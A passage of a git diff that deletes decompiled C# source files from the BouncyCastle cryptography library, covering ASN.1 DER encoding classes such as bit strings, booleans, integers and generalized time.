(isConstructed) - { - num |= 0x20; - } - derOut.WriteEncoded(num, tag, octets); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerApplicationSpecific derApplicationSpecific)) - { - return false; - } - if (isConstructed == derApplicationSpecific.isConstructed && tag == derApplicationSpecific.tag) - { - return Arrays.AreEqual(octets, derApplicationSpecific.octets); - } - return false; - } - - protected override int Asn1GetHashCode() - { - bool flag = isConstructed; - int hashCode = flag.GetHashCode(); - int num = tag; - return hashCode ^ num.GetHashCode() ^ Arrays.GetHashCode(octets); - } - - private byte[] ReplaceTagNumber(int newTag, byte[] input) - { - int num = input[0] & 0x1F; - int num2 = 1; - if (num == 31) - { - int num3 = input[num2++]; - if ((num3 & 0x7F) == 0) - { - throw new IOException("corrupted stream - invalid high tag number found"); - } - while ((num3 & 0x80) != 0) - { - num3 = input[num2++]; - } - } - int num4 = input.Length - num2; - byte[] array = new byte[1 + num4]; - array[0] = (byte)newTag; - Array.Copy(input, num2, array, 1, num4); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBitString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBitString.cs deleted file mode 100644 index 0848251..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBitString.cs +++ /dev/null @@ -1,217 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerBitString : DerStringBase -{ - private static readonly char[] table = new char[16] - { - '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', - 'A', 'B', 'C', 'D', 'E', 'F' - }; - - protected readonly byte[] mData; - - protected readonly int mPadBits; - - public virtual int PadBits => mPadBits; - - public virtual int IntValue - { - get - { - int num = 0; - int num2 = System.Math.Min(4, mData.Length); - for (int i = 0; i < num2; i++) - { - num |= mData[i] << 8 * i; - } - if (mPadBits > 0 && num2 == mData.Length) - { - int num3 = (1 << mPadBits) - 1; - num &= ~(num3 << 8 * (num2 - 1)); - } - return num; - } - } - - public static DerBitString GetInstance(object obj) - { - if (obj == null || obj is DerBitString) - { - return (DerBitString)obj; - } - if (obj is byte[]) - { - try - { - return (DerBitString)Asn1Object.FromByteArray((byte[])obj); - } - catch (Exception ex) - { - throw new ArgumentException("encoding error in GetInstance: " + ex.ToString()); - } - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerBitString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerBitString) - { - return GetInstance(asn1Object); - } - return FromAsn1Octets(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerBitString(byte[] data, int padBits) - { - if (data == null) - { - throw new ArgumentNullException("data"); - } - if (padBits < 0 || padBits > 7) - { - throw new ArgumentException("must be in the range 0 to 7", "padBits"); - } - if (data.Length == 0 && padBits != 0) - { - throw new ArgumentException("if 'data' is empty, 'padBits' must be 0"); - } - mData = Arrays.Clone(data); - mPadBits = padBits; - } - - public DerBitString(byte[] data) - : this(data, 0) - { - } - - public DerBitString(int namedBits) - { - if (namedBits == 0) - { - mData = new byte[0]; - mPadBits = 0; - return; - } - int num = BigInteger.BitLen(namedBits); - int num2 = (num + 7) / 8; - byte[] array = new byte[num2]; - num2--; - for (int i = 0; i < num2; i++) - { - array[i] = (byte)namedBits; - namedBits >>= 8; - } - array[num2] = (byte)namedBits; - int j; - for (j = 0; (namedBits & (1 << j)) == 0; j++) - { - } - mData = array; - mPadBits = j; - } - - public DerBitString(Asn1Encodable obj) - : this(obj.GetDerEncoded()) - { - } - - public virtual byte[] GetOctets() - { - if (mPadBits != 0) - { - throw new InvalidOperationException("attempt to get non-octet aligned data from BIT STRING"); - } - return Arrays.Clone(mData); - } - - public virtual byte[] GetBytes() - { - byte[] array = Arrays.Clone(mData); - if (mPadBits > 0) - { - byte[] array3; - byte[] array2 = (array3 = array); - int num = array.Length - 1; - nint num2 = num; - array2[num] = (byte)(array3[num2] & (byte)(255 << mPadBits)); - } - return array; - } - - internal override void Encode(DerOutputStream derOut) - { - if (mPadBits > 0) - { - int num = mData[mData.Length - 1]; - int num2 = (1 << mPadBits) - 1; - int num3 = num & num2; - if (num3 != 0) - { - byte[] array = Arrays.Prepend(mData, (byte)mPadBits); - array[^1] = (byte)(num ^ num3); - derOut.WriteEncoded(3, array); - return; - } - } - derOut.WriteEncoded(3, (byte)mPadBits, mData); - } - - protected override int Asn1GetHashCode() - { - int num = mPadBits; - return num.GetHashCode() ^ Arrays.GetHashCode(mData); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerBitString derBitString)) - { - return false; - } - if (mPadBits == derBitString.mPadBits) - { - return Arrays.AreEqual(mData, derBitString.mData); - } - return false; - } - - public override string GetString() - { - StringBuilder stringBuilder = new StringBuilder("#"); - byte[] derEncoded = GetDerEncoded(); - for (int i = 0; i != derEncoded.Length; i++) - { - uint num = derEncoded[i]; - stringBuilder.Append(table[(num >> 4) & 0xF]); - stringBuilder.Append(table[derEncoded[i] & 0xF]); - } - return stringBuilder.ToString(); - } - - internal static DerBitString FromAsn1Octets(byte[] octets) - { - if (octets.Length < 1) - { - throw new ArgumentException("truncated BIT STRING detected", "octets"); - } - int num = octets[0]; - byte[] array = Arrays.CopyOfRange(octets, 1, octets.Length); - if (num > 0 && num < 8 && array.Length > 0) - { - int num2 = array[^1]; - int num3 = (1 << num) - 1; - if ((num2 & num3) != 0) - { - return new BerBitString(array, num); - } - } - return new DerBitString(array, num); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBmpString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBmpString.cs deleted file mode 100644 index 1d8475b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBmpString.cs +++ /dev/null @@ -1,77 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerBmpString : DerStringBase -{ - private readonly string str; - - public static DerBmpString GetInstance(object obj) - { - if (obj == null || obj is DerBmpString) - { - return (DerBmpString)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerBmpString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerBmpString) - { - return GetInstance(asn1Object); - } - return new DerBmpString(Asn1OctetString.GetInstance(asn1Object).GetOctets()); - } - - public DerBmpString(byte[] str) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - char[] array = new char[str.Length / 2]; - for (int i = 0; i != array.Length; i++) - { - array[i] = (char)((str[2 * i] << 8) | (str[2 * i + 1] & 0xFF)); - } - this.str = new string(array); - } - - public DerBmpString(string str) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - this.str = str; - } - - public override string GetString() - { - return str; - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerBmpString derBmpString)) - { - return false; - } - return str.Equals(derBmpString.str); - } - - internal override void Encode(DerOutputStream derOut) - { - char[] array = str.ToCharArray(); - byte[] array2 = new byte[array.Length * 2]; - for (int i = 0; i != array.Length; i++) - { - array2[2 * i] = (byte)((int)array[i] >> 8); - array2[2 * i + 1] = (byte)array[i]; - } - derOut.WriteEncoded(30, array2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBoolean.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBoolean.cs deleted file mode 100644 index 2ff95f5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerBoolean.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerBoolean : Asn1Object -{ - private readonly byte value; - - public static readonly DerBoolean False = new DerBoolean(value: false); - - public static readonly DerBoolean True = new DerBoolean(value: true); - - public bool IsTrue => value != 0; - - public static DerBoolean GetInstance(object obj) - { - if (obj == null || obj is DerBoolean) - { - return (DerBoolean)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerBoolean GetInstance(bool value) - { - if (!value) - { - return False; - } - return True; - } - - public static DerBoolean GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerBoolean) - { - return GetInstance(asn1Object); - } - return FromOctetString(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerBoolean(byte[] val) - { - if (val.Length != 1) - { - throw new ArgumentException("byte value should have 1 byte in it", "val"); - } - value = val[0]; - } - - private DerBoolean(bool value) - { - this.value = (byte)(value ? byte.MaxValue : 0); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(1, new byte[1] { value }); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerBoolean derBoolean)) - { - return false; - } - return IsTrue == derBoolean.IsTrue; - } - - protected override int Asn1GetHashCode() - { - return IsTrue.GetHashCode(); - } - - public override string ToString() - { - if (!IsTrue) - { - return "FALSE"; - } - return "TRUE"; - } - - internal static DerBoolean FromOctetString(byte[] value) - { - if (value.Length != 1) - { - throw new ArgumentException("BOOLEAN value should have 1 byte in it", "value"); - } - return value[0] switch - { - byte.MaxValue => True, - 0 => False, - _ => new DerBoolean(value), - }; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerEnumerated.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerEnumerated.cs deleted file mode 100644 index 025a72e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerEnumerated.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerEnumerated : Asn1Object -{ - private readonly byte[] bytes; - - private static readonly DerEnumerated[] cache = new DerEnumerated[12]; - - public BigInteger Value => new BigInteger(bytes); - - public static DerEnumerated GetInstance(object obj) - { - if (obj == null || obj is DerEnumerated) - { - return (DerEnumerated)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerEnumerated GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerEnumerated) - { - return GetInstance(asn1Object); - } - return FromOctetString(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerEnumerated(int val) - { - bytes = BigInteger.ValueOf(val).ToByteArray(); - } - - public DerEnumerated(BigInteger val) - { - bytes = val.ToByteArray(); - } - - public DerEnumerated(byte[] bytes) - { - if (bytes.Length > 1 && ((bytes[0] == 0 && (bytes[1] & 0x80) == 0) || (bytes[0] == byte.MaxValue && (bytes[1] & 0x80) != 0)) && !DerInteger.AllowUnsafe()) - { - throw new ArgumentException("malformed enumerated"); - } - this.bytes = Arrays.Clone(bytes); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(10, bytes); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerEnumerated derEnumerated)) - { - return false; - } - return Arrays.AreEqual(bytes, derEnumerated.bytes); - } - - protected override int Asn1GetHashCode() - { - return Arrays.GetHashCode(bytes); - } - - internal static DerEnumerated FromOctetString(byte[] enc) - { - if (enc.Length == 0) - { - throw new ArgumentException("ENUMERATED has zero length", "enc"); - } - if (enc.Length == 1) - { - int num = enc[0]; - if (num < cache.Length) - { - DerEnumerated derEnumerated = cache[num]; - if (derEnumerated != null) - { - return derEnumerated; - } - return cache[num] = new DerEnumerated(Arrays.Clone(enc)); - } - } - return new DerEnumerated(Arrays.Clone(enc)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerExternal.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerExternal.cs deleted file mode 100644 index 345f10f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerExternal.cs +++ /dev/null @@ -1,197 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class DerExternal : Asn1Object -{ - private DerObjectIdentifier directReference; - - private DerInteger indirectReference; - - private Asn1Object dataValueDescriptor; - - private int encoding; - - private Asn1Object externalContent; - - public Asn1Object DataValueDescriptor - { - get - { - return dataValueDescriptor; - } - set - { - dataValueDescriptor = value; - } - } - - public DerObjectIdentifier DirectReference - { - get - { - return directReference; - } - set - { - directReference = value; - } - } - - public int Encoding - { - get - { - return encoding; - } - set - { - if (encoding < 0 || encoding > 2) - { - throw new InvalidOperationException("invalid encoding value: " + encoding); - } - encoding = value; - } - } - - public Asn1Object ExternalContent - { - get - { - return externalContent; - } - set - { - externalContent = value; - } - } - - public DerInteger IndirectReference - { - get - { - return indirectReference; - } - set - { - indirectReference = value; - } - } - - public DerExternal(Asn1EncodableVector vector) - { - int num = 0; - Asn1Object objFromVector = GetObjFromVector(vector, num); - if (objFromVector is DerObjectIdentifier) - { - directReference = (DerObjectIdentifier)objFromVector; - num++; - objFromVector = GetObjFromVector(vector, num); - } - if (objFromVector is DerInteger) - { - indirectReference = (DerInteger)objFromVector; - num++; - objFromVector = GetObjFromVector(vector, num); - } - if (!(objFromVector is Asn1TaggedObject)) - { - dataValueDescriptor = objFromVector; - num++; - objFromVector = GetObjFromVector(vector, num); - } - if (vector.Count != num + 1) - { - throw new ArgumentException("input vector too large", "vector"); - } - if (!(objFromVector is Asn1TaggedObject)) - { - throw new ArgumentException("No tagged object found in vector. Structure doesn't seem to be of type External", "vector"); - } - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)objFromVector; - Encoding = asn1TaggedObject.TagNo; - if (encoding < 0 || encoding > 2) - { - throw new InvalidOperationException("invalid encoding value"); - } - externalContent = asn1TaggedObject.GetObject(); - } - - public DerExternal(DerObjectIdentifier directReference, DerInteger indirectReference, Asn1Object dataValueDescriptor, DerTaggedObject externalData) - : this(directReference, indirectReference, dataValueDescriptor, externalData.TagNo, externalData.ToAsn1Object()) - { - } - - public DerExternal(DerObjectIdentifier directReference, DerInteger indirectReference, Asn1Object dataValueDescriptor, int encoding, Asn1Object externalData) - { - DirectReference = directReference; - IndirectReference = indirectReference; - DataValueDescriptor = dataValueDescriptor; - Encoding = encoding; - ExternalContent = externalData.ToAsn1Object(); - } - - internal override void Encode(DerOutputStream derOut) - { - MemoryStream memoryStream = new MemoryStream(); - WriteEncodable(memoryStream, directReference); - WriteEncodable(memoryStream, indirectReference); - WriteEncodable(memoryStream, dataValueDescriptor); - WriteEncodable(memoryStream, new DerTaggedObject(8, externalContent)); - derOut.WriteEncoded(32, 8, memoryStream.ToArray()); - } - - protected override int Asn1GetHashCode() - { - int num = externalContent.GetHashCode(); - if (directReference != null) - { - num ^= directReference.GetHashCode(); - } - if (indirectReference != null) - { - num ^= indirectReference.GetHashCode(); - } - if (dataValueDescriptor != null) - { - num ^= dataValueDescriptor.GetHashCode(); - } - return num; - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (this == asn1Object) - { - return true; - } - if (!(asn1Object is DerExternal derExternal)) - { - return false; - } - if (object.Equals(directReference, derExternal.directReference) && object.Equals(indirectReference, derExternal.indirectReference) && object.Equals(dataValueDescriptor, derExternal.dataValueDescriptor)) - { - return externalContent.Equals(derExternal.externalContent); - } - return false; - } - - private static Asn1Object GetObjFromVector(Asn1EncodableVector v, int index) - { - if (v.Count <= index) - { - throw new ArgumentException("too few objects in input vector", "v"); - } - return v[index].ToAsn1Object(); - } - - private static void WriteEncodable(MemoryStream ms, Asn1Encodable e) - { - if (e != null) - { - byte[] derEncoded = e.GetDerEncoded(); - ms.Write(derEncoded, 0, derEncoded.Length); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerExternalParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerExternalParser.cs deleted file mode 100644 index 68e9f09..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerExternalParser.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class DerExternalParser : Asn1Encodable -{ - private readonly Asn1StreamParser _parser; - - public DerExternalParser(Asn1StreamParser parser) - { - _parser = parser; - } - - public IAsn1Convertible ReadObject() - { - return _parser.ReadObject(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerExternal(_parser.ReadVector()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGeneralString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGeneralString.cs deleted file mode 100644 index 9d6a771..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGeneralString.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerGeneralString : DerStringBase -{ - private readonly string str; - - public static DerGeneralString GetInstance(object obj) - { - if (obj == null || obj is DerGeneralString) - { - return (DerGeneralString)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerGeneralString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerGeneralString) - { - return GetInstance(asn1Object); - } - return new DerGeneralString(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerGeneralString(byte[] str) - : this(Strings.FromAsciiByteArray(str)) - { - } - - public DerGeneralString(string str) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - this.str = str; - } - - public override string GetString() - { - return str; - } - - public byte[] GetOctets() - { - return Strings.ToAsciiByteArray(str); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(27, GetOctets()); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerGeneralString derGeneralString)) - { - return false; - } - return str.Equals(derGeneralString.str); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGeneralizedTime.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGeneralizedTime.cs deleted file mode 100644 index 9322241..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGeneralizedTime.cs +++ /dev/null @@ -1,201 +0,0 @@ -using System; -using System.Globalization; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerGeneralizedTime : Asn1Object -{ - private readonly string time; - - public string TimeString => time; - - private bool HasFractionalSeconds => time.IndexOf('.') == 14; - - public static DerGeneralizedTime GetInstance(object obj) - { - if (obj == null || obj is DerGeneralizedTime) - { - return (DerGeneralizedTime)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public static DerGeneralizedTime GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerGeneralizedTime) - { - return GetInstance(asn1Object); - } - return new DerGeneralizedTime(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerGeneralizedTime(string time) - { - this.time = time; - try - { - ToDateTime(); - } - catch (FormatException ex) - { - throw new ArgumentException("invalid date string: " + ex.Message); - } - } - - public DerGeneralizedTime(DateTime time) - { - this.time = time.ToString("yyyyMMddHHmmss\\Z"); - } - - internal DerGeneralizedTime(byte[] bytes) - { - time = Strings.FromAsciiByteArray(bytes); - } - - public string GetTime() - { - if (time[time.Length - 1] == 'Z') - { - return time.Substring(0, time.Length - 1) + "GMT+00:00"; - } - int num = time.Length - 5; - char c = time[num]; - if (c == '-' || c == '+') - { - return time.Substring(0, num) + "GMT" + time.Substring(num, 3) + ":" + time.Substring(num + 3); - } - num = time.Length - 3; - c = time[num]; - if (c == '-' || c == '+') - { - return time.Substring(0, num) + "GMT" + time.Substring(num) + ":00"; - } - return time + CalculateGmtOffset(); - } - - private string CalculateGmtOffset() - { - char c = '+'; - DateTime dateTime = ToDateTime(); - TimeSpan timeSpan = TimeZone.CurrentTimeZone.GetUtcOffset(dateTime); - if (timeSpan.CompareTo((object?)TimeSpan.Zero) < 0) - { - c = '-'; - timeSpan = timeSpan.Duration(); - } - int hours = timeSpan.Hours; - int minutes = timeSpan.Minutes; - return "GMT" + c + Convert(hours) + ":" + Convert(minutes); - } - - private static string Convert(int time) - { - if (time < 10) - { - return "0" + time; - } - return time.ToString(); - } - - public DateTime ToDateTime() - { - string text = time; - bool makeUniversal = false; - string format; - if (Platform.EndsWith(text, "Z")) - { - if (HasFractionalSeconds) - { - int count = text.Length - text.IndexOf('.') - 2; - format = "yyyyMMddHHmmss." + FString(count) + "\\Z"; - } - else - { - format = "yyyyMMddHHmmss\\Z"; - } - } - else if (time.IndexOf('-') > 0 || time.IndexOf('+') > 0) - { - text = GetTime(); - makeUniversal = true; - if (HasFractionalSeconds) - { - int count2 = Platform.IndexOf(text, "GMT") - 1 - text.IndexOf('.'); - format = "yyyyMMddHHmmss." + FString(count2) + "'GMT'zzz"; - } - else - { - format = "yyyyMMddHHmmss'GMT'zzz"; - } - } - else if (HasFractionalSeconds) - { - int count3 = text.Length - 1 - text.IndexOf('.'); - format = "yyyyMMddHHmmss." + FString(count3); - } - else - { - format = "yyyyMMddHHmmss"; - } - return ParseDateString(text, format, makeUniversal); - } - - private string FString(int count) - { - StringBuilder stringBuilder = new StringBuilder(); - for (int i = 0; i < count; i++) - { - stringBuilder.Append('f'); - } - return stringBuilder.ToString(); - } - - private DateTime ParseDateString(string s, string format, bool makeUniversal) - { - DateTimeStyles dateTimeStyles = DateTimeStyles.None; - if (Platform.EndsWith(format, "Z")) - { - try - { - dateTimeStyles = (DateTimeStyles)Enums.GetEnumValue(typeof(DateTimeStyles), "AssumeUniversal"); - } - catch (Exception) - { - } - dateTimeStyles |= DateTimeStyles.AdjustToUniversal; - } - DateTime result = DateTime.ParseExact(s, format, DateTimeFormatInfo.InvariantInfo, dateTimeStyles); - if (!makeUniversal) - { - return result; - } - return result.ToUniversalTime(); - } - - private byte[] GetOctets() - { - return Strings.ToAsciiByteArray(time); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(24, GetOctets()); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerGeneralizedTime derGeneralizedTime)) - { - return false; - } - return time.Equals(derGeneralizedTime.time); - } - - protected override int Asn1GetHashCode() - { - return time.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGenerator.cs deleted file mode 100644 index a0b22b6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGenerator.cs +++ /dev/null @@ -1,87 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -public abstract class DerGenerator : Asn1Generator -{ - private bool _tagged = false; - - private bool _isExplicit; - - private int _tagNo; - - protected DerGenerator(Stream outStream) - : base(outStream) - { - } - - protected DerGenerator(Stream outStream, int tagNo, bool isExplicit) - : base(outStream) - { - _tagged = true; - _isExplicit = isExplicit; - _tagNo = tagNo; - } - - private static void WriteLength(Stream outStr, int length) - { - if (length > 127) - { - int num = 1; - int num2 = length; - while ((num2 >>= 8) != 0) - { - num++; - } - outStr.WriteByte((byte)(num | 0x80)); - for (int num3 = (num - 1) * 8; num3 >= 0; num3 -= 8) - { - outStr.WriteByte((byte)(length >> num3)); - } - } - else - { - outStr.WriteByte((byte)length); - } - } - - internal static void WriteDerEncoded(Stream outStream, int tag, byte[] bytes) - { - outStream.WriteByte((byte)tag); - WriteLength(outStream, bytes.Length); - outStream.Write(bytes, 0, bytes.Length); - } - - internal void WriteDerEncoded(int tag, byte[] bytes) - { - if (_tagged) - { - int num = _tagNo | 0x80; - if (_isExplicit) - { - int tag2 = _tagNo | 0x20 | 0x80; - MemoryStream memoryStream = new MemoryStream(); - WriteDerEncoded(memoryStream, tag, bytes); - WriteDerEncoded(base.Out, tag2, memoryStream.ToArray()); - } - else - { - if ((tag & 0x20) != 0) - { - num |= 0x20; - } - WriteDerEncoded(base.Out, num, bytes); - } - } - else - { - WriteDerEncoded(base.Out, tag, bytes); - } - } - - internal static void WriteDerEncoded(Stream outStr, int tag, Stream inStr) - { - WriteDerEncoded(outStr, tag, Streams.ReadAll(inStr)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGraphicString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGraphicString.cs deleted file mode 100644 index 8078f3b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerGraphicString.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerGraphicString : DerStringBase -{ - private readonly byte[] mString; - - public static DerGraphicString GetInstance(object obj) - { - if (obj == null || obj is DerGraphicString) - { - return (DerGraphicString)obj; - } - if (obj is byte[]) - { - try - { - return (DerGraphicString)Asn1Object.FromByteArray((byte[])obj); - } - catch (Exception ex) - { - throw new ArgumentException("encoding error in GetInstance: " + ex.ToString(), "obj"); - } - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public static DerGraphicString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerGraphicString) - { - return GetInstance(asn1Object); - } - return new DerGraphicString(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerGraphicString(byte[] encoding) - { - mString = Arrays.Clone(encoding); - } - - public override string GetString() - { - return Strings.FromByteArray(mString); - } - - public byte[] GetOctets() - { - return Arrays.Clone(mString); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(25, mString); - } - - protected override int Asn1GetHashCode() - { - return Arrays.GetHashCode(mString); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerGraphicString derGraphicString)) - { - return false; - } - return Arrays.AreEqual(mString, derGraphicString.mString); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerIA5String.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerIA5String.cs deleted file mode 100644 index 582c4d5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerIA5String.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerIA5String : DerStringBase -{ - private readonly string str; - - public static DerIA5String GetInstance(object obj) - { - if (obj == null || obj is DerIA5String) - { - return (DerIA5String)obj; - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - public static DerIA5String GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is DerIA5String) - { - return GetInstance(asn1Object); - } - return new DerIA5String(((Asn1OctetString)asn1Object).GetOctets()); - } - - public DerIA5String(byte[] str) - : this(Strings.FromAsciiByteArray(str), validate: false) - { - } - - public DerIA5String(string str) - : this(str, validate: false) - { - } - - public DerIA5String(string str, bool validate) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - if (validate && !IsIA5String(str)) - { - throw new ArgumentException("string contains illegal characters", "str"); - } - this.str = str; - } - - public override string GetString() - { - return str; - } - - public byte[] GetOctets() - { - return Strings.ToAsciiByteArray(str); - } - - internal override void Encode(DerOutputStream derOut) - { - derOut.WriteEncoded(22, GetOctets()); - } - - protected override int Asn1GetHashCode() - { - return str.GetHashCode(); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerIA5String derIA5String)) - { - return false; - } - return str.Equals(derIA5String.str); - } - - public static bool IsIA5String(string str) - { - foreach (char c in str) - { - if (c > '\u007f') - { - return false; - } - } - return true; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerInteger.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerInteger.cs deleted file mode 100644 index 4eaec28..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/DerInteger.cs +++ /dev/null @@ -1,96 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class DerInteger : Asn1Object -{ - public const string AllowUnsafeProperty = "Org.BouncyCastle.Asn1.AllowUnsafeInteger"; - - private readonly byte[] bytes; - - public BigInteger Value => new BigInteger(bytes); - - public BigInteger PositiveValue => new BigInteger(1, bytes); - - internal static bool AllowUnsafe() - { - string environmentVariable = Platform.GetEnvironmentVariable("Org.BouncyCastle.Asn1.AllowUnsafeInteger"); - if (environmentVariable != null) - { - return Platform.EqualsIgnoreCase("true", environmentVariable); - } - return false; - } - - public static DerInteger GetInstance(object obj) - { - if (obj == null || obj 